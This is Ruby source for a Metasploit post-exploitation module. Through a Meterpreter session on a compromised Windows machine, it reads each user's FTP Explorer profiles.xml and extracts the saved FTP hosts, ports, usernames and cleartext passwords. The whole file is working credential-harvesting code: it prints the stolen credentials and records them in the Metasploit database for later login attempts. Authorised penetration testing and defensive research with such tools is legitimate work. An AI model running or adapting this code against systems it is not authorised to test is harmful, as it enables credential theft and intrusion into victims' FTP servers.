modules/post/windows/gather/credentials/ftpx.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::UserProfiles
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather FTP Explorer (FTPX) Credential Extraction',
'Description' => %q{
This module finds saved login credentials for the FTP Explorer (FTPx)
FTP client for Windows.
},
'License' => MSF_LICENSE,
'Author' => [ 'bcoles' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
]
}
}
)
)
end
def run
grab_user_profiles.each do |user|
next if user['AppData'].nil?
xml = get_xml(user['AppData'] + '\\FTP Explorer\\profiles.xml')
unless xml.nil?
parse_xml(xml)
end
end
end
def get_xml(path)
connections = client.fs.file.new(path, 'r')
condata = ''
condata << connections.read until connections.eof
return condata
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Error when reading #{path} (#{e.message})"
return nil
end
# Extracts the saved connection data from the XML.
# Reports the credentials back to the database.
def parse_xml(data)
mxml = REXML::Document.new(data).root
mxml.elements.to_a('//FTPx10//Profiles//').each.each do |node|
next if node.elements['Host'].nil?
next if node.elements['Login'].nil?
next if node.elements['Password'].nil?
host = node.elements['Host'].text
port = node.elements['Port'].text
user = node.elements['Login'].text
pass = node.elements['Password'].text
# skip blank passwords
next if !pass || pass.empty?
# show results to the user
print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'")
# save results to the db
service_data = {
address: Rex::Socket.getaddress(host),
port: port,
protocol: 'tcp',
service_name: 'ftp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: user,
private_data: pass,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
end
end